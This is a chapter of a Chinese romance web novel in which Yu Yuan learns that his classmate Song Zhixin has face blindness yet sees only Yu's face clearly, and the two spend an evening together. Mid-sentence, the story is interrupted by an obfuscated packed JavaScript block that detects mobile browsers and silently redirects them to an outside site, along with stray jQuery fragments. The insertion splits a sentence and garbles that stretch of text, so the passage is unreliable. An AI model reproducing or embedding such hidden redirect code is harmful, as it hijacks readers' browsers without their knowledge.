周遭顿时陷入庞大的静默，只有落地窗外传来车水马龙的轰鸣。
郁源的耳畔嗡一下，所有喧嚣悉数退远，桌下双手已攥紧成拳。他开口，竭力维持语调的平稳：“宋之信，这是什么意思。”
“面孔失认症，还有只能看清楚我的脸是……”
郁源最终没有把话说完，阖了阖眼，低声道：“……我去一下洗手间。”说罢站起身，无视宋之信的满脸迷茫，快步离开卡座。
砰地关上洗手间的门，钝响碾过翻涌的心跳，郁源抬眸，连手机都险些要拿不稳。
屏幕上方接连弹出来自蒋汀和祝雨澄的消息提醒，郁源无暇顾及。他打开搜索引擎，缓慢地敲下“面孔失认症”几个字。
百科显示，面孔失认症，又名“脸盲症”，是一种无法进行面孔识别的认知障碍，目前尚未拥有特效疗法……郁源没能看完，直接把手机熄屏。
记不住同学、平时不主动和人搭话、甚至没有发现考场的后座和想收买他作弊的是同一人……所有蛛丝马迹串联成线，像道亮起的闪电，骤然劈在郁源的脑海。
——原来是这样。
胸口滞塞，郁源沉沉地吐出一口气，抬起眼睛。盥洗镜里映出自己的脸，郁源走近，他的面色被头顶灯光照得苍白，好像连皮肤上细小的绒毛都纤毫毕现。
郁源恍惚，怔怔地对着看了很久，鬼使神差伸手，指尖挨了挨脸颊，触碰到温热与真实。
他感到刹那的安稳，随即而来的是更加颠簸的惶惑。
形形色色的温热与真实前，为什么只有自己能被宋之信所看清，作为宋之信唯一的审美样本，自己究竟又如何在初见时就符合对方关于漂亮的定义？
郁源心乱如麻，已无法单凭自己得到答案。
狭窄的空间内突兀地响起敲门声，郁源猛地回神。手掌覆在门把上，他深呼口气，拉开门走了出去。
桌面甜点饮品已经上齐，宋之信一动不动，依然坐得规规矩矩，愣愣地望着窗外。
直到郁源重新落座，才迟钝地反应过来，视线回到郁源的脸上。
郁源扯开嘴角，朝他笑了笑：
“宋之信，让你久等了。”
“我们聊一聊吧。”
两人之间萦绕有甜软而馥郁的香气，郁源揽过自己的饮品，又把属于宋之信的那份轻轻推向他：
“关于……你的面孔失认症。”
郁源顿了少顷，嗓音有些干涩：“为什么会这样？”
“哦，”宋之信好整以暇，扶了下镜框，才说：“最开始，是因为有不想去记住别人的想法。”
“等到……自己意识到时候，发现已经很长时间没有看清楚过别人的脸了。”
郁源短促地嗯了声，无意识蹙眉，用吸管在杯里搅起涡旋。
须臾，他才继续道：“那你这个情况，家里都清楚吗？有没有……接受过治疗？”
“有的。”宋之信点头，“家里发现后，带我去医院，做了很多检查。不过医生说，现在还没有显著的治疗方案，只能持续观察。”
郁源闻言，张了张嘴，却没能发出声音。宋之信太过坦然和平静，就仿佛自己为他表现出任何怜悯或遗憾都是多余。
“不过郁源，”宋之信又说，“能不能看清楚别人，对我来说，其实没有那么重要。”他的脸上没什么表情，口吻如述家常，“因为，我也没有必须看清楚别人的需求。”
“是吗。”
郁源咬着嘴唇，纠结许久，还是追问：“那宋之信，从第一次见到我开始，你就真的……能看清楚我？”
“能的，郁源。”宋之信的语气很淡，却有不由分说的笃定，“虽然我不知道，为什么能看清楚你，但第一次见到你的时候，我就在想。”
他说：“这个世界上，除了和我朝夕相处的家人之外，只有你的脸，是最清晰的。”
他想了想，再郑重地补充：
“不仅……清晰，还那么漂亮。郁源，你就是我心目中最好看的人。”
身前瓷盘轻晃一下，差点被郁源失手打翻。
“什么，什么最好看啊。”
郁源方寸大乱，极度的羞赧、惊愕、慌张下几乎口不择言：“宋之信，你有脸盲症，又没见过其他人的长相，怎么就能判断我一定是最好看……”
“为什么要和其他人比较才知道？”
宋之信却开口，面带不解：“郁源。你的漂亮，就是漂亮。”
他说：“你的皮肤，很白，但是看起来很健康。就像瓷器一样。”又说：“你的眼睛，很大。形状很圆，还特别亮。”
郁源的瞳孔震颤，听宋之信自顾自继续：“你的鼻子，很小。侧面看，鼻尖有点翘，很可爱。”
“还有你的嘴唇，是花瓣的颜色，感觉……也像花瓣一样软。笑起来的时候，”宋之信抬手，在自己的嘴边大致比划，“这里，有一颗虎牙。”
“郁源。这些地方，每一处都很漂亮。”宋之信慢条斯理，“到底哪里不漂亮？”他说完，目光一凝，露出思索的神情，忽地倾身朝郁源凑近。
郁源简直被他吓一跳，下意识想要躲开，上半身却仿佛被牢牢钉住，不得动弹。他仰脸，脖颈处的肌肉已全然僵硬，任由宋之信动作。
郁源掐住自己的掌心。
——这是要干什么？蒋、蒋汀祝雨澄都在旁边看着呢！
而宋之信只是垂眼，目光最终抵达他的唇边，视线格外专注，在小块区域细细地流连。
宋之信看过几秒，微微皱眉，语气疑惑：“……咦。”
他说：“郁源，你这里，新长了一颗小痣。”
“……哦。”
郁源眨动眼睛，强作镇定：“是吗。”
心跳声已经鼓噪到了无法忽视的地步，郁源抬手，迅速地用几根指节掩住他的视线停留过的位置：“宋之信，谢谢你告诉我。”
他低头，胡乱去切瓷盘里的华夫饼。不经意间抬眼，发现蒋汀和祝雨澄竟然还在偷瞄。
郁源如坐针毡，犀利地剜去一眼，叉子往华夫饼上重重一插，两人不约而同缩了缩肩膀，瞬间安分不少。
“宋之信。”
片刻，郁源烦闷地开口，和他扯了个撇脚的理由：“我很饿了，我们快点去吃饭的地方吧。”
-
郁源思绪错乱，整个进餐的过程心神未定，算得上食不知味。偏偏宋之信寡言少语，只要郁源不去搭话，该或不该的，就也一句不说。
这顿饭吃得沉闷，和宋之信从餐厅出来，按照此行最初目的，就应该道别。
郁源犹豫一会儿，把他叫住：“宋之信，你陪我走会儿吧。附近有个公园，我们可以过去散步，正好消食。”
“太好了，郁源。”
对于郁源的邀请，宋之信很直白地表现出高兴：“我以为吃完饭，就要结束了。”
郁源默默不语，转身朝前走。宋之信只老实地跟在他后面，并不加快脚步赶上，郁源就主动放慢下来，让两人并排。
路过电玩城的门口，郁源问他：“宋之信，平时会不会打游戏？”
宋之信摇头。郁源顺势和他闲聊：“那你除了做题，还有什么兴趣爱好？”
“哦，”宋之信说，“假期有空闲的时候，哥哥会带我去攀岩。”
郁源有些意外：“攀岩？”
宋之信点头，郁源便想到交际舞那天，两人的手交握，宋之信的指腹和掌心的几处位置，确实有层薄薄的茧。
他停下来，难免打量宋之信一番：“之前怎么从来没有和我说过？”
“这段时间哥哥的工作很忙。”宋之信就解释，“已经好久没去了。”郁源若有所思地应下，这个话题到此算翻篇。
路过电影院，门口的墙面摆着一副宣传海报。郁源因专业相关，便有所留意，指着海报随口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471561|201508||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道：
“宋之信，这部电影很经典的，下周就要重映，如果你感兴趣的话，有时间我们可以一起来看。”
宋之信木然地哦了声，不置可否。思及他的脸盲症，对影视作品无动于衷也是情有可原，郁源并未往心里去。
他们穿过人声鼎沸的街道，尽头再拐弯，眼前出现一座被长林簇拥的大门，耳边的嘈杂渐歇。遥遥望去，公园内部更显得空寂，但能隐约听见有小孩玩闹和跑动的声音。
“上小学初中的时候……”
两人一同走进，郁源别过脸，对宋之信弯了弯嘴角：“如果我心情不好，比如说考砸了，或者和家人朋友吵架了，就喜欢一个人跑到这里来。”
公园足够大，岔路也足够多，找一个角落坐很久，就能把乱七八糟的情绪消化大半。
郁源自顾自说下去：“我记得再往里面走，可能需要拐几个弯，有座秋千架。我喜欢在上面坐一下午。嗯只不过……”
郁源想到什么，忍俊不禁地耸肩：“只不过有时候小孩太多，我还抢不到。”
宋之信定定地看着他，并不说话。好一会儿，才移开视线，环顾眼前的一切。
郁源侧目，偷偷观察宋之信，发现他的眼神实在空白，如同蒙上一层毛玻璃，近乎视若无物。
这让郁源很难把他和那个会真诚地分享花、树、小狗的宋之信相联系，宋之信好像变成一座深沉而封闭的井，只在望进自己时才会聚起纹波。
他带着宋之信漫无目的地瞎晃许久，到夜色渐浓。是时候分开，宋之信打完一个电话，说家里叫了司机来，又问郁源愿不愿意搭便车。
郁源本来要答应，但转念想到宋之信送的礼物还留在岸芷，自己心情迫切，哪怕是一晚上的时间，也不想多寄存，稍后得原路返回去取，最终拒绝。
临别时，见宋之信脸上难掩的不舍，郁源心头一软，询问：“怎么了，宋之信。”
“郁源，”宋之信好像很难为情，踌躇一会儿才开口，“我现在，算是能和你做朋友了吗。”
郁源听得好笑，只觉得这个问题稚气又天真，但依旧给他肯定的回答：
“当然了，宋之信。”
“我们如果不是朋友，除非像你之前那样故意或巧合，你根本没有机会和我见面的。”
“不过，”郁源还是隐晦地说，“我们也可能……不会一直是朋友的。宋之信，你明白吗。”
宋之信却瞪大眼睛，问他：“郁源，你要和我分开吗？”
“？”
“……你要和我分开吗，郁源。”宋之信又重复问一遍，话音明显低落，“是因为我们两个分开了，所以才不会一直是朋友，对吗？”
郁源哭笑不得，愣了一下，才解释：“宋之信，我不是这个意思。”
“那你就不要和我分开吧。”宋之信说，“郁源，你那么漂亮，那么好。每次和你在一起……每次见到你，我都会觉得很高兴。”
郁源垂眼，没有立刻回应，耳边拂过徐徐的风声。半晌，才说：“宋之信，我和我另外两个好朋友，私下里经常会见面的。”
宋之信抿紧了唇，不明所以地看着他。
郁源又告诉他：“岸芷是我亲姐姐开的店。如果没有其他事的话，我每周末下午都会过去。”
郁源缓缓抬起眼睛：“我记得你周末也在附近的机构竞赛培训吧？”
他顿了顿，把语气放得很淡：“宋之信，如果你实在想见到我，就来和我见面吧。”
宋之信还是不说话，好像跌入失语的状态里，街边路灯渐次亮起，两只镜片被铺了层薄薄的反光。
郁源又补充：“当然了，如果我想见到你，也会提前和你联系你的。”
“就比如……”郁源双手塞进口袋里，漫不经心用鞋尖点了点地面。
他长长地吐出口气。
“就比如宋之信，下周六你有没有时间？”